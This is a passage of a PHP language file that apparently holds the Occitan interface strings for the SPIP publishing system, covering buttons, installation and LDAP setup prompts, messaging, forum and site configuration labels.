'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Afichar dins la tièra dels redactors connectats',
'bouton_radio_desactiver_messagerie' => 'Desactivar la messatjariá',
'bouton_radio_envoi_annonces_adresse' => 'Mandar los anoncis a l’adreiça:',
'bouton_radio_envoi_liste_nouveautes' => 'Mandar la tièra de las novetats',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Aparéisser pas dins la tièra dels redactors',
'bouton_radio_non_envoi_annonces_editoriales' => 'Mandar pas d’anoncis editorials',
'bouton_radio_pas_petition' => 'Pas cap de peticion',
'bouton_radio_petition_activee' => 'Peticion activada',
'bouton_radio_supprimer_petition' => 'Suprimir la peticion',
'bouton_redirection' => 'TORNAR DIRIGIR',
'bouton_relancer_installation' => 'Tornar lançar l’installacion',
'bouton_suivant' => 'Seguent',
'bouton_tenter_recuperation' => 'Ensajar de reparar',
'bouton_test_proxy' => 'Ensajar lo proxy',
'bouton_vider_cache' => 'Vojar l’escondedor',
'bouton_voir_message' => 'Veire aquel messatge abans de lo validar',
// C
'cache_mode_compresse' => 'Los fichièrs de l’escondedor son registrats en mòde comprimit.',
'cache_mode_non_compresse' => 'Los fichièrs de l’escondedor son registrats en mòde non comprimit.',
'cache_modifiable_webmestre' => 'Lo webmèstre del sit pòt modificar aqueste paramètre.',
'calendrier_synchro' => 'S’utilizatz un logicial d’agenda compatible <b>iCal</b>, lo podètz sincronizar amb las informacions d’aqueste sit.',
'config_activer_champs' => 'Activar los camps seguents',
'config_info_logos' => 'Cada element del sit pòt téner un lògo, e mai un « lògo de subrevòl »',
'config_info_logos_utiliser' => 'Emplegar los lògos',
'config_info_logos_utiliser_non' => 'Emplegar pas los lògos',
'config_info_logos_utiliser_survol' => 'Emplegar los lògos de subrevòl',
'config_info_logos_utiliser_survol_non' => 'Emplegar pas los lògos de subrevòl',
'config_info_redirection' => 'En activar aquela opcion, vous poirretz crear d’articles virtuals, que son de referéncias a d’articles publicats sus d’autres sits o fòra SPIP.',
'config_redirection' => 'Articles virtuals',
'connexion_ldap' => 'Conexion :',
'copier_en_local' => 'Copiar en local',
// D
'date_mot_heures' => 'oras',
// E
'email' => 'e-mail',
'email_2' => 'e-mail:',
'entree_adresse_annuaire' => 'Adreiça de l’annuari',
'entree_adresse_email' => 'Vòstra adreiça e-mail',
'entree_base_donnee_1' => 'Adreiça de la basa de donadas',
'entree_base_donnee_2' => '(Sovent, aquela adreiça correspond a la del vòstre sit, de còps correspond a la mençon "localhost", de còps, se daissa vuèja completament.)',
'entree_biographie' => 'Biografia braca, en qualques mots.',
'entree_chemin_acces' => '<b>Intrar</b> lo camin d’accès:',
'entree_cle_pgp' => 'La vòstra clau PGP',
'entree_contenu_rubrique' => '(Contengut de la rubrica en qualques mots.)',
'entree_identifiants_connexion' => 'Vòstres identificants de connexion...',
'entree_informations_connexion_ldap' => 'Volgatz intrar dins aquel formulari las informacions de connexion al vòstre annuari LDAP.
L’administrator del sistèma o de la ret vos deu poder fornir
aquelas informacions.',
'entree_infos_perso' => 'Qual sètz?',
'entree_interieur_rubrique' => 'Dintre la rubrica:',
'entree_liens_sites' => '<b>Ligam ipertèxt</b> (referéncia, sit de vesitar...)',
'entree_login' => 'Lo vòstre login',
'entree_login_connexion_1' => 'Lo login de connexion',
'entree_login_connexion_2' => '(Correspond de còps al vòstre login d’accès a l’FTP; de còps se daissa vuèg)',
'entree_login_ldap' => 'Login LDAP inicial',
'entree_mot_passe' => 'Vòstre mot de santa Clara',
'entree_mot_passe_1' => 'Mot de santa Clara per la connexion',
'entree_mot_passe_2' => '(Correspond de còps a vòstre mot de santa Clara per l’FTP; de còps se daissa vuèg)',
'entree_nom_fichier' => 'Volgatz intrar lo nom del fichièr @texte_compresse@:',
'entree_nom_pseudo' => 'Vòstre nom o vòstre pseudonim',
'entree_nom_pseudo_1' => '(Vòstre nom o vòstre pseudonim)',
'entree_nom_site' => 'Lo nom del vòstre sit',
'entree_nouveau_passe' => 'Mot de santa Clara novèl',
'entree_passe_ldap' => 'Mot de santa Clara',
'entree_port_annuaire' => 'Lo numèro de pòrt de l’annuari',
'entree_signature' => 'Signatura',
'entree_titre_obligatoire' => '<b>Títol</b> [Obligatòri]<br />',
'entree_url' => 'L’adreiça (URL) del vòstre sit',
'erreur_plugin_fichier_absent' => 'Fichièr absent',
'erreur_plugin_fichier_def_absent' => 'Fichièr de definicion absent',
'erreur_plugin_nom_fonction_interdit' => 'Nom de foncion enebit',
'erreur_plugin_nom_manquant' => 'Nom d’ajuston mancant',
'erreur_plugin_prefix_manquant' => 'Espaci de nommatge de l’ajuston non definit',
'erreur_plugin_tag_plugin_absent' => '<ajuston> mancant dins lo fichièr de definicion',
'erreur_plugin_version_manquant' => 'Version de l’ajuston mancanta',
// I
'ical_info1' => 'Aquela pagina mòstra de metòdes diferents per demorar en contacte amb la vida d’aquel sit.',
'ical_info2' => 'Per téner mai d’informacions subre aquelas tecnicas, esitetz pas de consultar <a href="@spipnet@">la documentacion d’SPIP</a>.', # MODIF
'ical_info_calendrier' => 'I a dos calendièrs a la vòstra disposicion. Lo primièr es un plan del sit qu’anóncia totes los articles publicats. Lo segond conten los anoncis editorials en mai de vòstres darrièrs messatges privats: vos es reservat gràcias a una clau personala, que la podètz modificar en tot moment en renovant vòstre mot de santa Clara. ',
'ical_methode_http' => 'Telecargament',
'ical_methode_webcal' => 'Sincronizacion (webcal://)',
'ical_texte_js' => 'Los articles publicats en aquel sit se pòdon afichar aisit, dins totes los sits vòstres, en far servir una linha javascript. ',
'ical_texte_prive' => 'Aquel calendièr, d’us estrictament personal, vos informa de l’activitat editoriala privada d’aquel sit (òbras e rendètz-vos personals, articles e brèvas prepausats...).',
'ical_texte_public' => 'Aquel calendièr vos permet de seguir l’activitat publica d’aquel sit (articles e brèvas publicats).',
'ical_texte_rss' => 'Podètz sindicar las novetats d’aqueste sit dins quin legidor de fichièrs que siá en format XML/RSS (Rich Site Summary). Es tanben lo format que permet a SPIP de legir las novetats publicadas dins d’autres sits en utilizar un format d’escambi compatible (sits sindicats). ',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Lista de corrièr',
'ical_titre_rss' => 'Fichièrs de sindicacion',
'icone_activer_cookie' => 'Activar lo cookie de correspondéncia',
'icone_admin_plugin' => 'Gestion dels ajustons',
'icone_afficher_auteurs' => 'Afichar los autors',
'icone_afficher_visiteurs' => 'Afichar los vesitaires',
'icone_arret_discussion' => 'Quitar aquela discussion',
'icone_calendrier' => 'Calendièr',
'icone_creer_auteur' => 'Crear un autor nòu e l’associar a aquel article',
'icone_creer_mot_cle' => 'Crear un mot clau nòu e lo ligar a aquel article',
'icone_creer_mot_cle_rubrique' => 'Crear un mot-clau nòu e lo ligar a aquela rubrica',
'icone_creer_mot_cle_site' => 'Crear un mot-clau nòu e lo ligar a aquel sit',
'icone_creer_rubrique_2' => 'Crear una rubrica nòva',
'icone_envoyer_message' => 'Mandar aquel messatge',
'icone_modifier_article' => 'Modificar aquel article',
'icone_modifier_message' => 'Modificar aquel messatge',
'icone_modifier_rubrique' => 'Modificar aquela rubrica',
'icone_retour' => 'Tornar',
'icone_retour_article' => 'Tornar a l’article',
'icone_supprimer_cookie' => 'Suprimir lo cookie de correspondéncia',
'icone_supprimer_rubrique' => 'Suprimir aquela rubrica',
'icone_supprimer_signature' => 'Suprimir aquela signatura',
'icone_valider_signature' => 'Validar aquela signatura',
'image_administrer_rubrique' => 'Podètz administrar aquela rubrica',
'info_1_article' => '1 article',
'info_1_site' => '1 sit',
'info_activer_cookie' => 'Podètz activar un <b>cookie de correspondéncia</b>; aquò vos permetrà de passar aisit del sit public al sit privat.',
'info_admin_gere_rubriques' => 'Aquel administrator gerís las rubricas seguentas :',
'info_admin_gere_toutes_rubriques' => 'Aquel administrator gerís <b>totas las rubricas</b>.', # MODIF
'info_administrateur' => 'Administrator',
'info_administrateur_1' => 'Administrator',
'info_administrateur_2' => 'del sit(<i>d’utilizar amb precaucion</i>)',
'info_administrateur_site_01' => 'Se sètz administrator/tritz del sit, volgatz',
'info_administrateur_site_02' => 'clicar aquel ligam',
'info_administrateurs' => 'Administrators',
'info_administrer_rubrique' => 'Podètz administrar aquela rubrica',
'info_adresse' => 'a l’adreiça:',
'info_adresse_url' => 'Adreiça (URL) del sit public',
'info_afficher_visites' => 'Afichar las vesitas per:',
'info_aide_en_ligne' => 'Ajuda en linha SPIP',
'info_ajout_image' => 'Quand apondètz d’imatges coma estacaments jonches a un article, SPIP pòt crear automaticament per vos de vinhetas (miniaturas) dels imatges inserits. Aquò permet per exemple de crear automaticament una galariá o un pòrtfòlio.',
'info_ajout_participant' => 'Lo participant seguent es apondut :',
'info_ajouter_rubrique' => 'Apondre una autra rubrica d’administrar:',
'info_annonce_nouveautes' => 'Anonci de las novetats',
'info_anterieur' => 'anteriora',
'info_article' => 'article',
'info_article_2' => 'articles',
'info_article_a_paraitre' => 'Los articles pòstdatats per paréisser',
'info_articles_02' => 'articles',
'info_articles_2' => 'Articles',
'info_articles_auteur' => 'Los articles d’aquel autor',
'info_articles_trouves' => 'Articles trobats',
'info_articles_trouves_dans_texte' => 'Articles trobats (dins lo tèxt)',
'info_attente_validation' => 'Vòstres articles en espèra de validacion',
'info_aujourdhui' => 'uèi :',
'info_auteur_message' => 'AUTOR DEL MESSATGE:',
'info_auteurs' => 'Los autors',
'info_auteurs_par_tri' => 'autors@partri@',
'info_auteurs_trouves' => 'Autors trobats',
'info_authentification_externe' => 'Autentificacion extèrna',
'info_avertissement' => 'Avís',
'info_base_installee' => 'L’estructura de vòstra basa de donadas es installada.',
'info_chapeau' => 'Capèl',
'info_chapeau_2' => 'Capèl :',
'info_chemin_acces_1' => 'Opcions : <b>camin d’accès dins l’annuari</b>',
'info_chemin_acces_2' => 'Ara devètz configurar lo camin d’accès a las informacions dins l’annuari.',
'info_chemin_acces_annuaire' => 'Opcions:<b>camin d’accès dins l’annuari',
'info_choix_base' => 'Tresena estapa:',
'info_classement_1' => '<sup>ièr</sup> de @liste@',
'info_classement_2' => '<sup>nd</sup> de @liste@',
'info_code_acces' => 'Oblidetz pas vòstres còdes d’accès pròpris !',
'info_config_suivi' => 'S’aquela adreiça correspond a una lista de corrièr, podètz indicar çai jos l’adreiça ont los participants al sit se pòdon inscriure. Aquela adreiça pòt èstre una URL (per exemple la pagina d’inscripcion a la lista pel web), o una adreiça e-mail tenent un subjècte especific (per exemple: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Vos podètz abonar a la lista de difusion d’aqueste sit. Alara recebretz per e-mail los anoncis d’articles e de brèvas que se prepausa a la publicacion.',
'info_confirmer_passe' => 'Confirmar aquel mot de santa Clara novèl :',
'info_connexion_base' => 'Ensag de connexion a la basa',
'info_connexion_ldap_ok' => 'La connexion LDAP a capitat.</b><p> Podètz passar a l’estapa seguenta.</p>', # MODIF
'info_connexion_mysql' => 'Vòstra connexion SQL',
'info_connexion_ok' => 'La connexion a capitat.',
'info_contact' => 'Contacte',
'info_contenu_articles' => 'Contengut dels articles',
'info_creation_paragraphe' => '(Per crear de paragrafes, basta que daissetz de linhas vuèjas.)', # MODIF
'info_creation_rubrique' => 'Abans de poder escriure d’articles,<br /> devètz crear almens una rubrica.<br />',
'info_creation_tables' => 'Creacion de las taulas de la basa',
'info_creer_base' => '<b>Crear</b> una basa de donadas novèla:',
'info_dans_rubrique' => 'Dins la rubrica :',
'info_date_publication_anterieure' => 'Data de redaccion anteriora:',
'info_date_referencement' => 'DATA DE REFERÉNCIAMENT D’AQUEL SIT:',
'info_derniere_etape' => 'Es acabat!',
'info_derniers_articles_publies' => 'Vòstres darrièrs articles publicats en linha',
'info_desactiver_messagerie_personnelle' => 'Podètz activar o desactivar vòstra messatjariá personala sus aquel sit.',
'info_descriptif' => 'Descriptiu :',
'info_desinstaller_plugin' => 'suprimís las donadas et desactiva l’ajuston ',
'info_discussion_cours' => 'Discussions en cors',
'info_ecrire_article' => 'Abans de poder escriure d’articles, vos cal crear almens una rubrica.',
'info_email_envoi' => 'Adreiça e-mail de mandadís (opcional)',
'info_email_envoi_txt' => 'Indicatz aicí l’adreiça d’utilizar per enviar los e-mails (a fauta d’aquò, s’utilizarà l’adreiça destinatari coma adreiça de mandadís):',
'info_email_webmestre' => 'Adreiça e-mail del responsable del sit (opcional)', # MODIF
'info_entrer_code_alphabet' => 'Picatz lo còde de l’alfabet d’utilizar:',
'info_envoi_email_automatique' => 'Mandadís d’e-mails automatics',
'info_envoyer_maintenant' => 'Mandar ara',
'info_etape_suivante' => 'Passar a l’estapa seguenta',
'info_etape_suivante_1' => 'Podètz passar a l’estapa seguenta.',
'info_etape_suivante_2' => 'Podètz passar a l’estapa seguenta.',
'info_exportation_base' => 'exportacion de la basa cap a @archive@',
'info_facilite_suivi_activite' => 'Per facilitar lo seguit de l’activitat editoriala del sit, SPIP vos pòt fornir per e-mail, per exemple a una lista de corrièr dels redactors, l’anonci de las demandas de publicacion e de las validacions d’articles.',
'info_fichiers_authent' => 'Fichièrs d’autentificacion « .htpasswd »',
'info_forums_abo_invites' => 'Vòstre sit web porgís de forums pels abonats; dins lo sit public los vesitaires son convidats a se registrar.',
'info_gauche_admin_effacer' => '<b>A aquela pagina, sonque los responsables del sit i pòdon accedir.</b><p> Permet de trobar las diferentas foncions de mantenença tecnica. D’unas que i a implican un procès d’autentificacion especific, que necessita un accès FTP al sit web.</p>', # MODIF
'info_gauche_admin_tech' => '<b>A aquela pagina, sonque los responsables del sit i pòdon accedir.</b><p> Permet de trobar las diferentas foncions de mantenença tecnica. D’unas que i a implican un procès d’autentificacion especific, que necessita un accès FTP al sit web.</p>', # MODIF
'info_gauche_admin_vider' => '<b>A aquela pagina, sonque los responsables del sit i pòdon accedir.</b><p> Permet de trobar las diferentas foncions de mantenença tecnica. D’unas que i a implican un procès d’autentificacion especific, que necessita un accès FTP al sit web.</p>', # MODIF
'info_gauche_auteurs' => 'Trobaretz aicí totes los autors del sit. La color de las icònas n’indica l’estatut (administrator = verd; redactor = jaune).',
'info_gauche_auteurs_exterieurs' => 'Los autors exteriors, sens accès al sit, son indicats per una icòna blava; los autors escafats per un bordilhièr.', # MODIF
'info_gauche_messagerie' => 'La messatjariá vos permet d’escambiar de messatges entre redactors, de servar de mementos (per vòstre usatge personal) o d’afichar d’anoncis sus la pagina d’acuèlh de l’espaci privat (se sètz administrator/tritz).',
'info_gauche_numero_auteur' => 'AUTOR NUMÈRO',
'info_gauche_statistiques_referers' => 'Aquela pagina presenta la lista dels <i>referidors</i>, valent a dire dels sits que contenon de ligams menant cap a vòstre quite sit, mas unicament per ièr e uèi: aquela lista s’actualiza cada 24 oras.',
'info_gauche_visiteurs_enregistres' => 'Trobaretz aquí los vesitaires registrats
dins l’espaci public del sit (forums amb abonament).',
'info_generation_miniatures_images' => 'Congreacion de miniaturas dels imatges',
'info_gerer_trad' => 'Gerir los ligams de revirada?',
'info_hebergeur_desactiver_envoi_email' => 'D’unes albergadors desactivan lo mandadís automatic
d’e-mails dempuèi lors servidors. En aquel cas, las foncionalitats seguentas
d’SPIP foncionaràn pas.',
'info_hier' => 'ièr:',
'info_historique_activer' => 'Activar lo seguiment de las revisions',
'info_historique_affiche' => 'Afichar aquela version',
'info_historique_comparaison' => 'comparason',
'info_historique_desactiver' => 'Desactivar lo seguiment de las revisions',
'info_historique_texte' => 'Lo seguiment de las revisions permet de servar un istoric de totas las modificacions que s’es portat al contengut d’un article, e d’afichar las diferéncias entre las versions successivas.',
'info_identification_publique' => 'Vòstra identitat publica...',
'info_image_process' => 'Volgatz seleccionar lo melhor metòde de fabricacion de las vinhetas en clicar sus l’imatge correspondent.',
'info_image_process2' => '<b>N.B.</b> <i>Se cap d’imatge apareis pas, aladonc lo servidor qu’albèrga vòstre sit l’an pas configurat per utilizar d’aisinas talas. Se desiratz d’utilizar aquelas foncions, contactatz lo responsable tecnic e demandatz las extensions «GD» o «Imagick».</i>', # MODIF
'info_images_auto' => 'Imatges calculats automaticament',
'info_informations_personnelles' => 'Informacions personalas',
'info_inscription_automatique' => 'Inscripcion automatica de redactors novèls',
'info_jeu_caractere' => 'Jòc de caractèrs del sit',
'info_jours' => 'jorns',
'info_laisser_champs_vides' => 'daissar aqueles camps vuèges)',
'info_langues' => 'Lengas del sit',
'info_ldap_ok' => 'L’autentificacion LDAP es installada.',
'info_lien_hypertexte' => 'Ligam ipertèxt:',
'info_liste_redacteurs_connectes' => 'Tièra dels redactors connectats',
'info_login_existant' => 'Aquel login ja existís.',
'info_login_trop_court' => 'Login tròp cort.',
'info_logos' => 'Los lògos',
'info_maximum' => 'maximum:',
'info_meme_rubrique' => 'Dins la meteissa rubrica',
'info_message' => 'Messatge del',
'info_message_efface' => 'MESSATGE ESCAFAT',
'info_message_en_redaction' => 'Vòstres messatges en cors de redaccion',
'info_message_technique' => 'Messatge tecnic:',
'info_messagerie_interne' => 'Messatjariá intèrna',
'info_mise_a_niveau_base' => 'Mesa a nivèl de vòstra basa SQL',
'info_mise_a_niveau_base_2' => '{{Atencion!}} Avètz installada una version
dels fichièrs SPIP {anteriora} a la que i aviá
abans sus aqueste sit: riscatz de pèrdre vòstra basa de donadas
e vòstre sit foncionarà pas mai.<br />{{Tornatz installar los
fichièrs d’SPIP.}}',
'info_modifier_rubrique' => 'Modificar la rubrica:',
'info_modifier_titre' => 'Modificar: @titre@',
'info_mon_site_spip' => 'Mon sit SPIP',
'info_mot_sans_groupe' => '(Mots fòra grop...)',
'info_moteur_recherche' => 'Cercador integrat',
'info_moyenne' => 'mejana:',
'info_multi_articles' => 'Activar lo menut de lenga pels articles?',
'info_multi_cet_article' => 'Lenga d’aqueste article:',
'info_multi_langues_choisies' => 'Volgatz seleccionar çai sota las lengas que son a posita dels redactors de vòstre sit.
Las lengas ja emplegadas dins vòstre sit (afichadas primièras) se pòdon pas desactivar.',
'info_multi_rubriques' => 'Activar lo menut de lenga per las rubricas?',
'info_multi_secteurs' => '... sonque per las rubricas a la raiç del sit?',
'info_nom' => 'Nom',
'info_nom_destinataire' => 'Nom del destinatari',
'info_nom_site' => 'Nom del vòstre sit',
'info_nombre_articles' => '@nb_articles@ articles,',
'info_nombre_partcipants' => 'PARTICIPANTS A LA DISCUSSION:',
'info_nombre_rubriques' => '@nb_rubriques@ rubricas,',
'info_nombre_sites' => '@nb_sites@ sits,',
'info_non_deplacer' => 'De desplaçar pas...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP pòt mandar, regularament, l’anonci de las darrièras novetats del sit
(articles e brèvas publicats recentament).',
'info_non_envoi_liste_nouveautes' => 'Mandar pas la tièra de las novetats',
'info_non_modifiable' => 'se pòt pas modificar',
'info_non_suppression_mot_cle' => 'vòli pas suprimir aquel mot clau.',
'info_notes' => 'Nòtas',
'info_nouveaux_message' => 'Messatges nòus',
'info_nouvel_article' => 'Article nòu',
'info_nouvelle_traduction' => 'Revirada nòva:',
'info_numero_article' => 'ARTICLE NUMÈRO:',
'info_obligatoire_02' => '[Obligatòri]', # MODIF
'info_option_accepter_visiteurs' => 'Acceptar l’inscripcion dels vesitaires del sit public',
'info_option_faire_suivre' => 'Far seguir los messatges dels forums als autors dels articles',
'info_option_ne_pas_accepter_visiteurs' => 'Refusar l’inscripcion de vesitaires',
'info_options_avancees' => 'OPCIONS AVANÇADAS',
'info_ortho_activer' => 'Activar lo verificador d’ortografia',
'info_ortho_desactiver' => 'Desactivar lo verificador d’ortografia',
'info_ou' => 'o... ',
'info_page_interdite' => 'Pagina proïbida',
'info_par_nom' => 'per nom',
'info_par_nombre_article' => 'per nombre d’articles',
'info_par_statut' => 'per estatut',
'info_par_tri' => '’(per @tri@)’',
'info_passe_trop_court' => 'Mot de santa Clara tròp cort.',
'info_passes_identiques' => 'Los dos mots de santa Clara son pas identics.',
'info_pense_bete_ancien' => 'Vòstres mementos ancians ', # MODIF
'info_plus_cinq_car' => 'mai de 5 caractèrs',
'info_plus_cinq_car_2' => '(mai de 5 caractèrs)',
'info_plus_trois_car' => '(mai de 3 caractèrs)',
'info_popularite' => 'popularitat: @popularite@; vesitas: @visites@',
'info_popularite_4' => 'popularitat: @popularite@; vesitas: @visites@',
'info_post_scriptum' => 'Post-scriptum',
'info_post_scriptum_2' => 'Post-scriptum:',
'info_pour' => 'per',
'info_preview_admin' => 'Solament los administrators pòdon previsualizar lo sit',
'info_preview_comite' => 'Totes los redactors pòdon previsualizar lo sit',
'info_preview_desactive' => 'La previsualizacion es del tot desactivada',
'info_preview_texte' => 'Es possible de previsualizar lo sit coma s’avián publicat totes los articles e brèvas (que tenon almens l’estatut "prepausat"). La cal dobrir, aquela possibilitat, als administrators sonque, a totes los redactors, o pas a degun?',
'info_principaux_correspondants' => 'Vòstres correspondents principals',
'info_procedez_par_etape' => 'procedissètz estapa per estapa',
'info_procedure_maj_version' => 'Cal lançar la procedura d’actualizacion per adaptar
la basa de donadas a la version novèla d’SPIP.',
'info_proxy_ok' => 'Ensag del proxy capitat.',
'info_ps' => 'P.S.',
'info_publier' => 'publicar',
'info_publies' => 'Los vòstres articles publicats en linha',
'info_question_accepter_visiteurs' => 'S’a las esqueletas de vòstre sit web se prevei lo registrament de vesitaires sens accès a l’espaci privat, volgatz activar l’opcion seguenta:',
'info_question_inscription_nouveaux_redacteurs' => 'Acceptatz que de redactors novèls s’inscrigan
a partir del sit public? Se o acceptatz, los vesitaires se poiràn inscriure
mercés a un formulari automatizat e alara accediràn a l’espaci privat per
prepausar d’articles.<blockquote><i> Durant la fasa d’inscripcion, los utilizaires recebon un e-mail automatic
que lor baila un còde d’accès al sit privat.
D’unes albergadors autorizan pas lo mandadís d’e-mails dempuèi lors servidors: en aquel cas, l’inscripcion automatica es
impossibla.', # MODIF
'info_question_utilisation_moteur_recherche' => 'Desiratz d’utilizar lo cercador integrat a SPIP? (lo desactivar abriva lo foncionament del sistèma.)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Raiç del sit',
'info_recharger_page' => 'Volgatz tornar cargar aquela pagina dins un momenton.',
'info_recherche_auteur_a_affiner' => 'Tròp de resultats per "@cherche_auteur@"; volgatz afinar la cèrca.',
'info_recherche_auteur_ok' => 'Mai d’un redactor trobat per "@cherche_auteur@":',
'info_recherche_auteur_zero' => '<b>Pas cap de resultat trobat per « @cherche_auteur@ ».',
'info_recommencer' => 'Volgatz tornar començar.',
'info_redacteur_1' => 'Redactor',
'info_redacteur_2' => 'qu’accedís a l’espaci privat (<i>recomandat</i>)',
'info_redacteurs' => 'Redactors',
'info_redaction_en_cours' => 'EN CORS DE REDACCION',
'info_redirection' => 'Redireccion',
'info_refuses' => 'Vòstres articles refusats',
'info_reglage_ldap' => 'Opcions: <b>Reglatge de l’importacion LDAP</b>',
'info_renvoi_article' => '<b>Redireccion.</b> Aquel article remanda a la pagina:',
'info_reserve_admin' => 'Sonque los administrators pòdon modificar aquela adreiça.',
'info_restreindre_rubrique' => 'Restrénher la gestion a la rubrica:',
'info_resultat_recherche' => 'Resultats de la cèrca:',
'info_rubriques' => 'Rubricas',
'info_rubriques_02' => 'rubricas',
'info_rubriques_trouvees' => 'Rubricas trobadas',
'info_rubriques_trouvees_dans_texte' => 'Rubricas trobadas (dins lo tèxt)',
'info_sans_titre' => 'Sens títol',
'info_selection_chemin_acces' => '<b>Seleccionatz</b> çai sota lo camin d’accès dins l’annuari:',
'info_signatures' => 'signaturas',
'info_site' => 'Sit',
'info_site_2' => 'sit: ',
'info_site_min' => 'sit',
'info_site_reference_2' => 'Sit referenciat',
'info_site_web' => 'SIT WEB:', # MODIF
'info_sites' => 'sits',
'info_sites_lies_mot' => 'Los sits referenciats ligats a aquel mot clau',
'info_sites_proxy' => 'Utilizar un proxy',
'info_sites_trouves' => 'Sits trobats',
'info_sites_trouves_dans_texte' => 'Sits trobats (dins lo tèxt)',
'info_sous_titre' => 'Sostítol:',
'info_statut_administrateur' => 'Administrator',
'info_statut_auteur' => 'Estatut d’aquel autor:', # MODIF
'info_statut_auteur_a_confirmer' => 'Inscripcion de confirmar',
'info_statut_auteur_autre' => 'Autre estatut :',
'info_statut_efface' => 'Escafat',
'info_statut_redacteur' => 'Redactor',
'info_statut_utilisateurs_1' => 'Estatut predefinit dels utilizaires importats',
'info_statut_utilisateurs_2' => 'Causissètz l’estatut d’atribuir a las personas presentas dins l’annuari LDAP quora se connèctan pel primièr còp. Poiretz puèi modificar aquel estatut per cada autor un cas per un.',
'info_suivi_activite' => 'Seguit de l’activitat editoriala',
'info_surtitre' => 'Subretítol:',
'info_syndication_integrale_1' => 'Vòstre sit prepausa de fichièrs de sindicacion (véser « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Desiratz transmetre l’integralitat dels articles, o ne difusar pas qu’un resumit de qualques centenas de caractèrs ?',
'info_table_prefix' => 'Podètz cambiar lo prefix del nom de las taulas de donadas (aquò es indispensable per installar mai d’un sit dins la meteissa basa de donadas). Aquel prefix s’esriu en letras minusculas, non accentuadas, e sens espaci.',
'info_taille_maximale_vignette' => 'Talha maximala de las vinhetas congreadas pel sistèma:',
'info_terminer_installation' => 'Ara podètz acabar la procedura d’installacion estandard.',
'info_texte' => 'Tèxt',
'info_texte_explicatif' => 'Tèxt explicatiu',
'info_texte_long' => '(lo tèxt es long: apareis doncas en tròces distints que se tornaràn empegar un còp validats.)',
'info_texte_message' => 'Tèxt del vòstre messatge:', # MODIF
'info_texte_message_02' => 'Tèxt del messatge',
'info_titre' => 'Títol:',
'info_total' => 'total: ',
'info_tous_articles_en_redaction' => 'Totes los articles en cors de redaccion',
'info_tous_articles_presents' => 'Totes los articles publicats dins aquela rubrica',
'info_tous_les' => 'totes los:',
'info_tous_redacteurs' => 'Anoncis a totes los redactors ',
'info_tout_site' => 'Tot lo sit ',
'info_tout_site2' => 'An pas revirat l’article dins aquela lenga.',
'info_tout_site3' => 'An revirat l’article dins aquela lenga, mas an portat puèi de modificacions a l’article de referéncia. Cal actualizar la revirada.',
'info_tout_site4' => 'An revirat l’article dins aquela lenga, e la revirada es actualizada.',
'info_tout_site5' => 'Article original.',
'info_tout_site6' => '<b>Atencion:</b> sonque los articles originals s’afichan.
Las reviradas s’assòcian a l’original,
una color indica lor estat:',
'info_travail_colaboratif' => 'Trabalh collaboratiu suls articles',
'info_un_article' => 'un article, ',
'info_un_site' => 'un sit, ',
'info_une_rubrique' => 'una rubrica, ',
'info_une_rubrique_02' => '1 rubrica',
'info_url' => 'URL :',
'info_url_site' => 'URL DEL SIT :',
'info_urlref' => 'Ligam ipertèxt:',
'info_utilisation_spip' => 'Ara podètz començar d’utilizar lo sistèma de publicacion assistida...',
'info_visites_par_mois' => 'Afichatge per mes:',
'info_visiteur_1' => 'Vesitaire',
'info_visiteur_2' => 'del sit public',
'info_visiteurs' => 'Vesitaires',
'info_visiteurs_02' => 'Vesitaires del sit public',
'install_adresse_base_hebergeur' => 'Adreiça de la basa de donadas atribuida per l’albergador',
'install_echec_annonce' => 'L’installacion capitarà mal, o abotirà a un sit non foncional...',
'install_extension_mbstring' => 'SPIP fonciona pas amb:',
'install_extension_php_obligatoire' => 'SPIP exigís l’extension php:',
'install_login_base_hebergeur' => 'Identificant (login) de connexion atribuit per l’albergador',
'install_nom_base_hebergeur' => 'Nom de la basa atribuit per l’albergador:',
'install_pass_base_hebergeur' => 'Mot de santa Clara de connexion (password) atribuit per l’albergador',
'install_php_version' => 'PHP version @version@ insuffisanta (minimum = @minimum@)',
'install_select_langue' => 'Seleccionatz una lenga puèi clicatz lo boton « seguent » per amodar la procedura d’installacion.',
'install_table_prefix_hebergeur' => 'Prefix de taula atribuit per l’albergador:',
'intem_redacteur' => 'redactor',
'item_accepter_inscriptions' => 'Acceptar las inscripcions',
'item_activer_messages_avertissement' => 'Activar los messatges d’avertiment',
'item_administrateur_2' => 'administrator',
'item_afficher_calendrier' => 'Afichar dins lo calendièr',
'item_autoriser_documents_joints' => 'Autorizar que se jonga de documents als articles',
'item_autoriser_documents_joints_rubriques' => 'Autorizar los documents dins las rubricas',
'item_autoriser_syndication_integrale' => 'Difusar l’integralitat dels articles dins los fichièrs de sindicacion',
'item_choix_administrateurs' => 'los administrators',
'item_choix_generation_miniature' => 'Congrear automaticament las miniaturas dels imatges.',
'item_choix_non_generation_miniature' => 'Congrear pas de miniaturas dels imatges.',
'item_choix_redacteurs' => 'los redactors',
'item_choix_visiteurs' => 'los vesitaires del sit public',
'item_creer_fichiers_authent' => 'Crear de fichièrs .htpasswd',
'item_limiter_recherche' => 'Limitar la cèrca a las informacions contengudas dins vòstre sit',
'item_login' => 'Login',
'item_mots_cles_association_articles' => 'als articles',
'item_mots_cles_association_rubriques' => 'a las rubricas',
'item_mots_cles_association_sites' => 'als sits referenciats o sindicats',
'item_non' => 'Non',
'item_non_accepter_inscriptions' => 'Acceptar pas las inscripcions',
'item_non_activer_messages_avertissement' => 'Pas cap de messatge d’avertiment',
'item_non_afficher_calendrier' => 'De pas afichar dins lo calendièr',
'item_non_autoriser_documents_joints' => 'Autorizar pas los documents dins los articles',
'item_non_autoriser_documents_joints_rubriques' => 'Autorizar pas los documents dins las rubricas',
'item_non_autoriser_syndication_integrale' => 'Ne difusar pas qu’un resumit',
'item_non_creer_fichiers_authent' => 'Crear pas aqueles fichièrs',
'item_non_gerer_statistiques' => 'Gerir pas las estadisticas',
'item_non_limiter_recherche' => 'Alargar la cèrca al contengut dels sits referenciats',
'item_non_publier_articles' => 'Publicar pas los articles abans la data de publicacion prevista.',
'item_non_utiliser_moteur_recherche' => 'Utilizar pas lo motor',
'item_nouvel_auteur' => 'Autor nòu',
